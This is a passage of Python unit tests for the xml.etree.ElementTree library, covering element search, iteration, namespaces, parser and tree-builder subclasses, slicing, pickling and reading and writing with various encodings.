check(elem) # attribute value def test_bug_xmltoolkit25(self): # typo in ElementTree.findtext elem = ET.XML(SAMPLE_XML) tree = ET.ElementTree(elem) self.assertEqual(tree.findtext("tag"), 'text') self.assertEqual(tree.findtext("section/tag"), 'subtext') def test_bug_xmltoolkit28(self): # .//tag causes exceptions tree = ET.XML("<doc><table><tbody/></table></doc>") self.assertEqual(summarize_list(tree.findall(".//thead")), []) self.assertEqual(summarize_list(tree.findall(".//tbody")), ['tbody']) def test_bug_xmltoolkitX1(self): # dump() doesn't flush the output buffer tree = ET.XML("<doc><table><tbody/></table></doc>") with support.captured_stdout() as stdout: ET.dump(tree) self.assertEqual(stdout.getvalue(), '<doc><table><tbody /></table></doc>\n') def test_bug_xmltoolkit39(self): # non-ascii element and attribute names doesn't work tree = ET.XML(b"<?xml version='1.0' encoding='iso-8859-1'?><t\xe4g />") self.assertEqual(ET.tostring(tree, "utf-8"), b'<t\xc3\xa4g />') tree = ET.XML(b"<?xml version='1.0' encoding='iso-8859-1'?>" b"<tag \xe4ttr='v&#228;lue' />") self.assertEqual(tree.attrib, {'\xe4ttr': 'v\xe4lue'}) self.assertEqual(ET.tostring(tree, "utf-8"), b'<tag \xc3\xa4ttr="v\xc3\xa4lue" />') tree = ET.XML(b"<?xml version='1.0' encoding='iso-8859-1'?>" b'<t\xe4g>text</t\xe4g>') self.assertEqual(ET.tostring(tree, "utf-8"), b'<t\xc3\xa4g>text</t\xc3\xa4g>') tree = ET.Element("t\u00e4g") self.assertEqual(ET.tostring(tree, "utf-8"), b'<t\xc3\xa4g />') tree = ET.Element("tag") tree.set("\u00e4ttr", "v\u00e4lue") self.assertEqual(ET.tostring(tree, "utf-8"), b'<tag \xc3\xa4ttr="v\xc3\xa4lue" />') def test_bug_xmltoolkit54(self): # problems handling internally defined entities e = ET.XML("<!DOCTYPE doc [<!ENTITY ldots '&#x8230;'>]>" '<doc>&ldots;</doc>') self.assertEqual(serialize(e, encoding="us-ascii"), b'<doc>&#33328;</doc>') self.assertEqual(serialize(e), '<doc>\u8230</doc>') def test_bug_xmltoolkit55(self): # make sure we're reporting the first error, not the last with self.assertRaises(ET.ParseError) as cm: ET.XML(b"<!DOCTYPE doc SYSTEM 'doc.dtd'>" b'<doc>&ldots;&ndots;&rdots;</doc>') self.assertEqual(str(cm.exception), 'undefined entity &ldots;: line 1, column 36') def test_bug_xmltoolkit60(self): # Handle crash in stream source. class ExceptionFile: def read(self, x): raise OSError self.assertRaises(OSError, ET.parse, ExceptionFile()) def test_bug_xmltoolkit62(self): # Don't crash when using custom entities. ENTITIES = {'rsquo': '\u2019', 'lsquo': '\u2018'} parser = ET.XMLTreeBuilder() parser.entity.update(ENTITIES) parser.feed("""<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE patent-application-publication SYSTEM "pap-v15-2001-01-31.dtd" []> <patent-application-publication> <subdoc-abstract> <paragraph id="A-0001" lvl="0">A new cultivar of Begonia plant named &lsquo;BCT9801BEG&rsquo;.</paragraph> </subdoc-abstract> </patent-application-publication>""") t = parser.close() self.assertEqual(t.find('.//paragraph').text, 'A new cultivar of Begonia plant named \u2018BCT9801BEG\u2019.') def test_bug_xmltoolkit63(self): # Check reference leak. def xmltoolkit63(): tree = ET.TreeBuilder() tree.start("tag", {}) tree.data("text") tree.end("tag") xmltoolkit63() count = sys.getrefcount(None) for i in range(1000): xmltoolkit63() self.assertEqual(sys.getrefcount(None), count) def test_bug_200708_newline(self): # Preserve newlines in attributes. e = ET.Element('SomeTag', text="def _f():\n return 3\n") self.assertEqual(ET.tostring(e), b'<SomeTag text="def _f():&#10; return 3&#10;" />') self.assertEqual(ET.XML(ET.tostring(e)).get("text"), 'def _f():\n return 3\n') self.assertEqual(ET.tostring(ET.XML(ET.tostring(e))), b'<SomeTag text="def _f():&#10; return 3&#10;" />') def test_bug_200708_close(self): # Test default builder. parser = ET.XMLParser() # default parser.feed("<element>some text</element>") self.assertEqual(parser.close().tag, 'element') # Test custom builder. class EchoTarget: def close(self): return ET.Element("element") # simulate root parser = ET.XMLParser(EchoTarget()) parser.feed("<element>some text</element>") self.assertEqual(parser.close().tag, 'element') def test_bug_200709_default_namespace(self): e = ET.Element("{default}elem") s = ET.SubElement(e, "{default}elem") self.assertEqual(serialize(e, default_namespace="default"), # 1 '<elem xmlns="default"><elem /></elem>') e = ET.Element("{default}elem") s = ET.SubElement(e, "{default}elem") s = ET.SubElement(e, "{not-default}elem") self.assertEqual(serialize(e, default_namespace="default"), # 2 '<elem xmlns="default" xmlns:ns1="not-default">' '<elem />' '<ns1:elem />' '</elem>') e = ET.Element("{default}elem") s = ET.SubElement(e, "{default}elem") s = ET.SubElement(e, "elem") # unprefixed name with self.assertRaises(ValueError) as cm: serialize(e, default_namespace="default") # 3 self.assertEqual(str(cm.exception), 'cannot use non-qualified names with default_namespace option') def test_bug_200709_register_namespace(self): e = ET.Element("{http://namespace.invalid/does/not/exist/}title") self.assertEqual(ET.tostring(e), b'<ns0:title xmlns:ns0="http://namespace.invalid/does/not/exist/" />') ET.register_namespace("foo", "http://namespace.invalid/does/not/exist/") e = ET.Element("{http://namespace.invalid/does/not/exist/}title") self.assertEqual(ET.tostring(e), b'<foo:title xmlns:foo="http://namespace.invalid/does/not/exist/" />') # And the Dublin Core namespace is in the default list: e = ET.Element("{http://purl.org/dc/elements/1.1/}title") self.assertEqual(ET.tostring(e), b'<dc:title xmlns:dc="http://purl.org/dc/elements/1.1/" />') def test_bug_200709_element_comment(self): # Not sure if this can be fixed, really (since the serializer needs # ET.Comment, not cET.comment). a = ET.Element('a') a.append(ET.Comment('foo')) self.assertEqual(a[0].tag, ET.Comment) a = ET.Element('a') a.append(ET.PI('foo')) self.assertEqual(a[0].tag, ET.PI) def test_bug_200709_element_insert(self): a = ET.Element('a') b = ET.SubElement(a, 'b') c = ET.SubElement(a, 'c') d = ET.Element('d') a.insert(0, d) self.assertEqual(summarize_list(a), ['d', 'b', 'c']) a.insert(-1, d) self.assertEqual(summarize_list(a), ['d', 'b', 'd', 'c']) def test_bug_200709_iter_comment(self): a = ET.Element('a') b = ET.SubElement(a, 'b') comment_b = ET.Comment("TEST-b") b.append(comment_b) self.assertEqual(summarize_list(a.iter(ET.Comment)), [ET.Comment]) # -------------------------------------------------------------------- # reported on bugs.python.org def test_bug_1534630(self): bob = ET.TreeBuilder() e = bob.data("data") e = bob.start("tag", {}) e = bob.end("tag") e = bob.close() self.assertEqual(serialize(e), '<tag />') def test_issue6233(self): e = ET.XML(b"<?xml version='1.0' encoding='utf-8'?>" b'<body>t\xc3\xa3g</body>') self.assertEqual(ET.tostring(e, 'ascii'), b"<?xml version='1.0' encoding='ascii'?>\n" b'<body>t&#227;g</body>') e = ET.XML(b"<?xml version='1.0' encoding='iso-8859-1'?>" b'<body>t\xe3g</body>') self.assertEqual(ET.tostring(e, 'ascii'), b"<?xml version='1.0' encoding='ascii'?>\n" b'<body>t&#227;g</body>') def test_issue3151(self): e = ET.XML('<prefix:localname xmlns:prefix="${stuff}"/>') self.assertEqual(e.tag, '{${stuff}}localname') t = ET.ElementTree(e) self.assertEqual(ET.tostring(e), b'<ns0:localname xmlns:ns0="${stuff}" />') def test_issue6565(self): elem = ET.XML("<body><tag/></body>") self.assertEqual(summarize_list(elem), ['tag']) newelem = ET.XML(SAMPLE_XML) elem[:] = newelem[:] self.assertEqual(summarize_list(elem), ['tag', 'tag', 'section']) def test_issue10777(self): # Registering a namespace twice caused a "dictionary changed size during # iteration" bug. ET.register_namespace('test10777', 'http://myuri/') ET.register_namespace('test10777', 'http://myuri/') # -------------------------------------------------------------------- class BasicElementTest(ElementTestCase, unittest.TestCase): def test_augmentation_type_errors(self): e = ET.Element('joe') self.assertRaises(TypeError, e.append, 'b') self.assertRaises(TypeError, e.extend, [ET.Element('bar'), 'foo']) self.assertRaises(TypeError, e.insert, 0, 'foo') def test_cyclic_gc(self): class Dummy: pass # Test the shortest cycle: d->element->d d = Dummy() d.dummyref = ET.Element('joe', attr=d) wref = weakref.ref(d) del d gc_collect() self.assertIsNone(wref()) # A longer cycle: d->e->e2->d e = ET.Element('joe') d = Dummy() d.dummyref = e wref = weakref.ref(d) e2 = ET.SubElement(e, 'foo', attr=d) del d, e, e2 gc_collect() self.assertIsNone(wref()) # A cycle between Element objects as children of one another # e1->e2->e3->e1 e1 = ET.Element('e1') e2 = ET.Element('e2') e3 = ET.Element('e3') e1.append(e2) e2.append(e2) e3.append(e1) wref = weakref.ref(e1) del e1, e2, e3 gc_collect() self.assertIsNone(wref()) def test_weakref(self): flag = False def wref_cb(w): nonlocal flag flag = True e = ET.Element('e') wref = weakref.ref(e, wref_cb) self.assertEqual(wref().tag, 'e') del e self.assertEqual(flag, True) self.assertEqual(wref(), None) def test_get_keyword_args(self): e1 = ET.Element('foo' , x=1, y=2, z=3) self.assertEqual(e1.get('x', default=7), 1) self.assertEqual(e1.get('w', default=7), 7) def test_pickle(self): # issue #16076: the C implementation wasn't pickleable. for dumper, loader in product(self.modules, repeat=2): e = dumper.Element('foo', bar=42) e.text = "text goes here" e.tail = "opposite of head" dumper.SubElement(e, 'child').append(dumper.Element('grandchild')) e.append(dumper.Element('child')) e.findall('.//grandchild')[0].set('attr', 'other value') e2 = self.pickleRoundTrip(e, 'xml.etree.ElementTree', dumper, loader) self.assertEqual(e2.tag, 'foo') self.assertEqual(e2.attrib['bar'], 42) self.assertEqual(len(e2), 2) self.assertEqualElements(e, e2) def test_pickle_issue18997(self): for dumper, loader in product(self.modules, repeat=2): XMLTEXT = """<?xml version="1.0"?> <group><dogs>4</dogs> </group>""" e1 = dumper.fromstring(XMLTEXT) if hasattr(e1, '__getstate__'): self.assertEqual(e1.__getstate__()['tag'], 'group') e2 = self.pickleRoundTrip(e1, 'xml.etree.ElementTree', dumper, loader) self.assertEqual(e2.tag, 'group') self.assertEqual(e2[0].tag, 'dogs') class ElementTreeTypeTest(unittest.TestCase): def test_istype(self): self.assertIsInstance(ET.ParseError, type) self.assertIsInstance(ET.QName, type) self.assertIsInstance(ET.ElementTree, type) self.assertIsInstance(ET.Element, type) self.assertIsInstance(ET.TreeBuilder, type) self.assertIsInstance(ET.XMLParser, type) def test_Element_subclass_trivial(self): class MyElement(ET.Element): pass mye = MyElement('foo') self.assertIsInstance(mye, ET.Element) self.assertIsInstance(mye, MyElement) self.assertEqual(mye.tag, 'foo') # test that attribute assignment works (issue 14849) mye.text = "joe" self.assertEqual(mye.text, "joe") def test_Element_subclass_constructor(self): class MyElement(ET.Element): def __init__(self, tag, attrib={}, **extra): super(MyElement, self).__init__(tag + '__', attrib, **extra) mye = MyElement('foo', {'a': 1, 'b': 2}, c=3, d=4) self.assertEqual(mye.tag, 'foo__') self.assertEqual(sorted(mye.items()), [('a', 1), ('b', 2), ('c', 3), ('d', 4)]) def test_Element_subclass_new_method(self): class MyElement(ET.Element): def newmethod(self): return self.tag mye = MyElement('joe') self.assertEqual(mye.newmethod(), 'joe') class ElementFindTest(unittest.TestCase): def test_find_simple(self): e = ET.XML(SAMPLE_XML) self.assertEqual(e.find('tag').tag, 'tag') self.assertEqual(e.find('section/tag').tag, 'tag') self.assertEqual(e.find('./tag').tag, 'tag') e[2] = ET.XML(SAMPLE_SECTION) self.assertEqual(e.find('section/nexttag').tag, 'nexttag') self.assertEqual(e.findtext('./tag'), 'text') self.assertEqual(e.findtext('section/tag'), 'subtext') # section/nexttag is found but has no text self.assertEqual(e.findtext('section/nexttag'), '') self.assertEqual(e.findtext('section/nexttag', 'default'), '') # tog doesn't exist and 'default' kicks in self.assertIsNone(e.findtext('tog')) self.assertEqual(e.findtext('tog', 'default'), 'default') # Issue #16922 self.assertEqual(ET.XML('<tag><empty /></tag>').findtext('empty'), '') def test_find_xpath(self): LINEAR_XML = ''' <body> <tag class='a'/> <tag class='b'/> <tag class='c'/> <tag class='d'/> </body>''' e = ET.XML(LINEAR_XML) # Test for numeric indexing and last() self.assertEqual(e.find('./tag[1]').attrib['class'], 'a') self.assertEqual(e.find('./tag[2]').attrib['class'], 'b') self.assertEqual(e.find('./tag[last()]').attrib['class'], 'd') self.assertEqual(e.find('./tag[last()-1]').attrib['class'], 'c') self.assertEqual(e.find('./tag[last()-2]').attrib['class'], 'b') def test_findall(self): e = ET.XML(SAMPLE_XML) e[2] = ET.XML(SAMPLE_SECTION) self.assertEqual(summarize_list(e.findall('.')), ['body']) self.assertEqual(summarize_list(e.findall('tag')), ['tag', 'tag']) self.assertEqual(summarize_list(e.findall('tog')), []) self.assertEqual(summarize_list(e.findall('tog/foo')), []) self.assertEqual(summarize_list(e.findall('*')), ['tag', 'tag', 'section']) self.assertEqual(summarize_list(e.findall('.//tag')), ['tag'] * 4) self.assertEqual(summarize_list(e.findall('section/tag')), ['tag']) self.assertEqual(summarize_list(e.findall('section//tag')), ['tag'] * 2) self.assertEqual(summarize_list(e.findall('section/*')), ['tag', 'nexttag', 'nextsection']) self.assertEqual(summarize_list(e.findall('section//*')), ['tag', 'nexttag', 'nextsection', 'tag']) self.assertEqual(summarize_list(e.findall('section/.//*')), ['tag', 'nexttag', 'nextsection', 'tag']) self.assertEqual(summarize_list(e.findall('*/*')), ['tag', 'nexttag', 'nextsection']) self.assertEqual(summarize_list(e.findall('*//*')), ['tag', 'nexttag', 'nextsection', 'tag']) self.assertEqual(summarize_list(e.findall('*/tag')), ['tag']) self.assertEqual(summarize_list(e.findall('*/./tag')), ['tag']) self.assertEqual(summarize_list(e.findall('./tag')), ['tag'] * 2) self.assertEqual(summarize_list(e.findall('././tag')), ['tag'] * 2) self.assertEqual(summarize_list(e.findall('.//tag[@class]')), ['tag'] * 3) self.assertEqual(summarize_list(e.findall('.//tag[@class="a"]')), ['tag']) self.assertEqual(summarize_list(e.findall('.//tag[@class="b"]')), ['tag'] * 2) self.assertEqual(summarize_list(e.findall('.//tag[@id]')), ['tag']) self.assertEqual(summarize_list(e.findall('.//section[tag]')), ['section']) self.assertEqual(summarize_list(e.findall('.//section[element]')), []) self.assertEqual(summarize_list(e.findall('../tag')), []) self.assertEqual(summarize_list(e.findall('section/../tag')), ['tag'] * 2) self.assertEqual(e.findall('section//'), e.findall('section//*')) def test_test_find_with_ns(self): e = ET.XML(SAMPLE_XML_NS) self.assertEqual(summarize_list(e.findall('tag')), []) self.assertEqual( summarize_list(e.findall("{http://effbot.org/ns}tag")), ['{http://effbot.org/ns}tag'] * 2) self.assertEqual( summarize_list(e.findall(".//{http://effbot.org/ns}tag")), ['{http://effbot.org/ns}tag'] * 3) def test_findall_different_nsmaps(self): root = ET.XML(''' <a xmlns:x="X" xmlns:y="Y"> <x:b><c/></x:b> <b/> <c><x:b/><b/></c><y:b/> </a>''') nsmap = {'xx': 'X'} self.assertEqual(len(root.findall(".//xx:b", namespaces=nsmap)), 2) self.assertEqual(len(root.findall(".//b", namespaces=nsmap)), 2) nsmap = {'xx': 'Y'} self.assertEqual(len(root.findall(".//xx:b", namespaces=nsmap)), 1) self.assertEqual(len(root.findall(".//b", namespaces=nsmap)), 2) def test_bad_find(self): e = ET.XML(SAMPLE_XML) with self.assertRaisesRegex(SyntaxError, 'cannot use absolute path'): e.findall('/tag') def test_find_through_ElementTree(self): e = ET.XML(SAMPLE_XML) self.assertEqual(ET.ElementTree(e).find('tag').tag, 'tag') self.assertEqual(ET.ElementTree(e).findtext('tag'), 'text') self.assertEqual(summarize_list(ET.ElementTree(e).findall('tag')), ['tag'] * 2) # this produces a warning self.assertEqual(summarize_list(ET.ElementTree(e).findall('//tag')), ['tag'] * 3) class ElementIterTest(unittest.TestCase): def _ilist(self, elem, tag=None): return summarize_list(elem.iter(tag)) def test_basic(self): doc = ET.XML("<html><body>this is a <i>paragraph</i>.</body>..</html>") self.assertEqual(self._ilist(doc), ['html', 'body', 'i']) self.assertEqual(self._ilist(doc.find('body')), ['body', 'i']) self.assertEqual(next(doc.iter()).tag, 'html') self.assertEqual(''.join(doc.itertext()), 'this is a paragraph...') self.assertEqual(''.join(doc.find('body').itertext()), 'this is a paragraph.') self.assertEqual(next(doc.itertext()), 'this is a ') # iterparse should return an iterator sourcefile = serialize(doc, to_string=False) self.assertEqual(next(ET.iterparse(sourcefile))[0], 'end') # With an explitit parser too (issue #9708) sourcefile = serialize(doc, to_string=False) parser = ET.XMLParser(target=ET.TreeBuilder()) self.assertEqual(next(ET.iterparse(sourcefile, parser=parser))[0], 'end') tree = ET.ElementTree(None) self.assertRaises(AttributeError, tree.iter) # Issue #16913 doc = ET.XML("<root>a&amp;<sub>b&amp;</sub>c&amp;</root>") self.assertEqual(''.join(doc.itertext()), 'a&b&c&') def test_corners(self): # single root, no subelements a = ET.Element('a') self.assertEqual(self._ilist(a), ['a']) # one child b = ET.SubElement(a, 'b') self.assertEqual(self._ilist(a), ['a', 'b']) # one child and one grandchild c = ET.SubElement(b, 'c') self.assertEqual(self._ilist(a), ['a', 'b', 'c']) # two children, only first with grandchild d = ET.SubElement(a, 'd') self.assertEqual(self._ilist(a), ['a', 'b', 'c', 'd']) # replace first child by second a[0] = a[1] del a[1] self.assertEqual(self._ilist(a), ['a', 'd']) def test_iter_by_tag(self): doc = ET.XML(''' <document> <house> <room>bedroom1</room> <room>bedroom2</room> </house> <shed>nothing here </shed> <house> <room>bedroom8</room> </house> </document>''') self.assertEqual(self._ilist(doc, 'room'), ['room'] * 3) self.assertEqual(self._ilist(doc, 'house'), ['house'] * 2) # test that iter also accepts 'tag' as a keyword arg self.assertEqual( summarize_list(doc.iter(tag='room')), ['room'] * 3) # make sure both tag=None and tag='*' return all tags all_tags = ['document', 'house', 'room', 'room', 'shed', 'house', 'room'] self.assertEqual(self._ilist(doc), all_tags) self.assertEqual(self._ilist(doc, '*'), all_tags) class TreeBuilderTest(unittest.TestCase): sample1 = ('<!DOCTYPE html PUBLIC' ' "-//W3C//DTD XHTML 1.0 Transitional//EN"' ' "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' '<html>text<div>subtext</div>tail</html>') sample2 = '''<toplevel>sometext</toplevel>''' def _check_sample1_element(self, e): self.assertEqual(e.tag, 'html') self.assertEqual(e.text, 'text') self.assertEqual(e.tail, None) self.assertEqual(e.attrib, {}) children = list(e) self.assertEqual(len(children), 1) child = children[0] self.assertEqual(child.tag, 'div') self.assertEqual(child.text, 'subtext') self.assertEqual(child.tail, 'tail') self.assertEqual(child.attrib, {}) def test_dummy_builder(self): class BaseDummyBuilder: def close(self): return 42 class DummyBuilder(BaseDummyBuilder): data = start = end = lambda *a: None parser = ET.XMLParser(target=DummyBuilder()) parser.feed(self.sample1) self.assertEqual(parser.close(), 42) parser = ET.XMLParser(target=BaseDummyBuilder()) parser.feed(self.sample1) self.assertEqual(parser.close(), 42) parser = ET.XMLParser(target=object()) parser.feed(self.sample1) self.assertIsNone(parser.close()) def test_treebuilder_elementfactory_none(self): parser = ET.XMLParser(target=ET.TreeBuilder(element_factory=None)) parser.feed(self.sample1) e = parser.close() self._check_sample1_element(e) def test_subclass(self): class MyTreeBuilder(ET.TreeBuilder): def foobar(self, x): return x * 2 tb = MyTreeBuilder() self.assertEqual(tb.foobar(10), 20) parser = ET.XMLParser(target=tb) parser.feed(self.sample1) e = parser.close() self._check_sample1_element(e) def test_element_factory(self): lst = [] def myfactory(tag, attrib): nonlocal lst lst.append(tag) return ET.Element(tag, attrib) tb = ET.TreeBuilder(element_factory=myfactory) parser = ET.XMLParser(target=tb) parser.feed(self.sample2) parser.close() self.assertEqual(lst, ['toplevel']) def _check_element_factory_class(self, cls): tb = ET.TreeBuilder(element_factory=cls) parser = ET.XMLParser(target=tb) parser.feed(self.sample1) e = parser.close() self.assertIsInstance(e, cls) self._check_sample1_element(e) def test_element_factory_subclass(self): class MyElement(ET.Element): pass self._check_element_factory_class(MyElement) def test_element_factory_pure_python_subclass(self): # Mimick SimpleTAL's behaviour (issue #16089): both versions of # TreeBuilder should be able to cope with a subclass of the # pure Python Element class. base = ET._Element # Not from a C extension self.assertEqual(base.__module__, 'xml.etree.ElementTree') # Force some multiple inheritance with a C class to make things # more interesting. class MyElement(base, ValueError): pass self._check_element_factory_class(MyElement) def test_doctype(self): class DoctypeParser: _doctype = None def doctype(self, name, pubid, system): self._doctype = (name, pubid, system) def close(self): return self._doctype parser = ET.XMLParser(target=DoctypeParser()) parser.feed(self.sample1) self.assertEqual(parser.close(), ('html', '-//W3C//DTD XHTML 1.0 Transitional//EN', 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd')) class XMLParserTest(unittest.TestCase): sample1 = b'<file><line>22</line></file>' sample2 = (b'<!DOCTYPE html PUBLIC' b' "-//W3C//DTD XHTML 1.0 Transitional//EN"' b' "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' b'<html>text</html>') sample3 = ('<?xml version="1.0" encoding="iso-8859-1"?>\n' '<money value="$\xa3\u20ac\U0001017b">$\xa3\u20ac\U0001017b</money>') def _check_sample_element(self, e): self.assertEqual(e.tag, 'file') self.assertEqual(e[0].tag, 'line') self.assertEqual(e[0].text, '22') def test_constructor_args(self): # Positional args. The first (html) is not supported, but should be # nevertheless correctly accepted. parser = ET.XMLParser(None, ET.TreeBuilder(), 'utf-8') parser.feed(self.sample1) self._check_sample_element(parser.close()) # Now as keyword args. parser2 = ET.XMLParser(encoding='utf-8', html=[{}], target=ET.TreeBuilder()) parser2.feed(self.sample1) self._check_sample_element(parser2.close()) def test_subclass(self): class MyParser(ET.XMLParser): pass parser = MyParser() parser.feed(self.sample1) self._check_sample_element(parser.close()) def test_subclass_doctype(self): _doctype = None class MyParserWithDoctype(ET.XMLParser): def doctype(self, name, pubid, system): nonlocal _doctype _doctype = (name, pubid, system) parser = MyParserWithDoctype() with self.assertWarns(DeprecationWarning): parser.feed(self.sample2) parser.close() self.assertEqual(_doctype, ('html', '-//W3C//DTD XHTML 1.0 Transitional//EN', 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd')) def test_parse_string(self): parser = ET.XMLParser(target=ET.TreeBuilder()) parser.feed(self.sample3) e = parser.close() self.assertEqual(e.tag, 'money') self.assertEqual(e.attrib['value'], '$\xa3\u20ac\U0001017b') self.assertEqual(e.text, '$\xa3\u20ac\U0001017b') class NamespaceParseTest(unittest.TestCase): def test_find_with_namespace(self): nsmap = {'h': 'hello', 'f': 'foo'} doc = ET.fromstring(SAMPLE_XML_NS_ELEMS) self.assertEqual(len(doc.findall('{hello}table', nsmap)), 1) self.assertEqual(len(doc.findall('.//{hello}td', nsmap)), 2) self.assertEqual(len(doc.findall('.//{foo}name', nsmap)), 1) class ElementSlicingTest(unittest.TestCase): def _elem_tags(self, elemlist): return [e.tag for e in elemlist] def _subelem_tags(self, elem): return self._elem_tags(list(elem)) def _make_elem_with_children(self, numchildren): """Create an Element with a tag 'a', with the given amount of children named 'a0', 'a1' ... and so on. """ e = ET.Element('a') for i in range(numchildren): ET.SubElement(e, 'a%s' % i) return e def test_getslice_single_index(self): e = self._make_elem_with_children(10) self.assertEqual(e[1].tag, 'a1') self.assertEqual(e[-2].tag, 'a8') self.assertRaises(IndexError, lambda: e[12]) def test_getslice_range(self): e = self._make_elem_with_children(6) self.assertEqual(self._elem_tags(e[3:]), ['a3', 'a4', 'a5']) self.assertEqual(self._elem_tags(e[3:6]), ['a3', 'a4', 'a5']) self.assertEqual(self._elem_tags(e[3:16]), ['a3', 'a4', 'a5']) self.assertEqual(self._elem_tags(e[3:5]), ['a3', 'a4']) self.assertEqual(self._elem_tags(e[3:-1]), ['a3', 'a4']) self.assertEqual(self._elem_tags(e[:2]), ['a0', 'a1']) def test_getslice_steps(self): e = self._make_elem_with_children(10) self.assertEqual(self._elem_tags(e[8:10:1]), ['a8', 'a9']) self.assertEqual(self._elem_tags(e[::3]), ['a0', 'a3', 'a6', 'a9']) self.assertEqual(self._elem_tags(e[::8]), ['a0', 'a8']) self.assertEqual(self._elem_tags(e[1::8]), ['a1', 'a9']) def test_getslice_negative_steps(self): e = self._make_elem_with_children(4) self.assertEqual(self._elem_tags(e[::-1]), ['a3', 'a2', 'a1', 'a0']) self.assertEqual(self._elem_tags(e[::-2]), ['a3', 'a1']) def test_delslice(self): e = self._make_elem_with_children(4) del e[0:2] self.assertEqual(self._subelem_tags(e), ['a2', 'a3']) e = self._make_elem_with_children(4) del e[0:] self.assertEqual(self._subelem_tags(e), []) e = self._make_elem_with_children(4) del e[::-1] self.assertEqual(self._subelem_tags(e), []) e = self._make_elem_with_children(4) del e[::-2] self.assertEqual(self._subelem_tags(e), ['a0', 'a2']) e = self._make_elem_with_children(4) del e[1::2] self.assertEqual(self._subelem_tags(e), ['a0', 'a2']) e = self._make_elem_with_children(2) del e[::2] self.assertEqual(self._subelem_tags(e), ['a1']) class IOTest(unittest.TestCase): def tearDown(self): support.unlink(TESTFN) def test_encoding(self): # Test encoding issues. elem = ET.Element("tag") elem.text = "abc" self.assertEqual(serialize(elem), '<tag>abc</tag>') self.assertEqual(serialize(elem, encoding="utf-8"), b'<tag>abc</tag>') self.assertEqual(serialize(elem, encoding="us-ascii"), b'<tag>abc</tag>') for enc in ("iso-8859-1", "utf-16", "utf-32"): self.assertEqual(serialize(elem, encoding=enc), ("<?xml version='1.0' encoding='%s'?>\n" "<tag>abc</tag>" % enc).encode(enc)) elem = ET.Element("tag") elem.text = "<&\"\'>" self.assertEqual(serialize(elem), '<tag>&lt;&amp;"\'&gt;</tag>') self.assertEqual(serialize(elem, encoding="utf-8"), b'<tag>&lt;&amp;"\'&gt;</tag>') self.assertEqual(serialize(elem, encoding="us-ascii"), b'<tag>&lt;&amp;"\'&gt;</tag>') for enc in ("iso-8859-1", "utf-16", "utf-32"): self.assertEqual(serialize(elem, encoding=enc), ("<?xml version='1.0' encoding='%s'?>\n" "<tag>&lt;&amp;\"'&gt;</tag>" % enc).encode(enc)) elem = ET.Element("tag") elem.attrib["key"] = "<&\"\'>" self.assertEqual(serialize(elem), '<tag key="&lt;&amp;&quot;\'&gt;" />') self.assertEqual(serialize(elem, encoding="utf-8"), b'<tag key="&lt;&amp;&quot;\'&gt;" />') self.assertEqual(serialize(elem, encoding="us-ascii"), b'<tag key="&lt;&amp;&quot;\'&gt;" />') for enc in ("iso-8859-1", "utf-16", "utf-32"): self.assertEqual(serialize(elem, encoding=enc), ("<?xml version='1.0' encoding='%s'?>\n" "<tag key=\"&lt;&amp;&quot;'&gt;\" />" % enc).encode(enc)) elem = ET.Element("tag") elem.text = '\xe5\xf6\xf6<>' self.assertEqual(serialize(elem), '<tag>\xe5\xf6\xf6&lt;&gt;</tag>') self.assertEqual(serialize(elem, encoding="utf-8"), b'<tag>\xc3\xa5\xc3\xb6\xc3\xb6&lt;&gt;</tag>') self.assertEqual(serialize(elem, encoding="us-ascii"), b'<tag>&#229;&#246;&#246;&lt;&gt;</tag>') for enc in ("iso-8859-1", "utf-16", "utf-32"): self.assertEqual(serialize(elem, encoding=enc), ("<?xml version='1.0' encoding='%s'?>\n" "<tag>åöö&lt;&gt;</tag>" % enc).encode(enc)) elem = ET.Element("tag") elem.attrib["key"] = '\xe5\xf6\xf6<>' self.assertEqual(serialize(elem), '<tag key="\xe5\xf6\xf6&lt;&gt;" />') self.assertEqual(serialize(elem, encoding="utf-8"), b'<tag key="\xc3\xa5\xc3\xb6\xc3\xb6&lt;&gt;" />') self.assertEqual(serialize(elem, encoding="us-ascii"), b'<tag key="&#229;&#246;&#246;&lt;&gt;" />') for enc in ("iso-8859-1", "utf-16", "utf-16le", "utf-16be", "utf-32"): self.assertEqual(serialize(elem, encoding=enc), ("<?xml version='1.0' encoding='%s'?>\n" "<tag key=\"åöö&lt;&gt;\" />" % enc).encode(enc)) def test_write_to_filename(self): tree = ET.ElementTree(ET.XML('''<site />''')) tree.write(TESTFN) with open(TESTFN, 'rb') as f: self.assertEqual(f.read(), b'''<site />''') def test_write_to_text_file(self): tree = ET.ElementTree(ET.XML('''<site />''')) with open(TESTFN, 'w', encoding='utf-8') as f: tree.write(f, encoding='unicode') self.assertFalse(f.closed) with open(TESTFN, 'rb') as f: self.assertEqual(f.read(), b'''<site />''') def test_write_to_binary_file(self): tree = ET.ElementTree(ET.XML('''<site />''')) with open(TESTFN, 'wb') as f: tree.write(f) self.assertFalse(f.closed) with open(TESTFN, 'rb') as f: self.assertEqual(f.read(), b'''<site />''') def test_write_to_binary_file_with_bom(self): tree = ET.ElementTree(ET.XML('''<site />''')) # test BOM writing to buffered file with open(TESTFN, 'wb') as f: tree.write(f, encoding='utf-16') self.assertFalse(f.closed) with open(TESTFN, 'rb') as f: self.assertEqual(f.read(), '''<?xml version='1.0' encoding='utf-16'?>\n''' '''<site />'''.encode("utf-16")) # test BOM writing to non-buffered file with open(TESTFN, 'wb', buffering=0) as f: tree.write(f, encoding='utf-16') self.assertFalse(f.closed) with open(TESTFN, 'rb') as f: self.assertEqual(f.read(), '''<?xml version='1.0' encoding='utf-16'?>\n''' '''<site />'''.encode("utf-16")) def test_read_from_stringio(self): tree = ET.ElementTree() stream = io.StringIO('''<?xml version="1.0"?><site></site>''') tree.parse(stream) self.assertEqual(tree.getroot().tag, 'site') def test_write_to_stringio(self): tree = ET.ElementTree(ET.XML('''<site />''')) stream = io.StringIO() tree.write(stream, encoding='unicode') self.assertEqual(stream.getvalue(), '''<site />''') def test_read_from_bytesio(self): tree = ET.ElementTree() raw = io.BytesIO(b'''<?xml version="1.0"?><site></site>''') tree.parse(raw) self.assertEqual(tree.getroot().tag, 'site') def test_write_to_bytesio(self): tree = ET.ElementTree(ET.XML('''<site />''')) raw = io.BytesIO() tree.write(raw) self.assertEqual(raw.getvalue(), b'''<site />''') class dummy: pass def test_read_from_user_text_reader(self): stream = 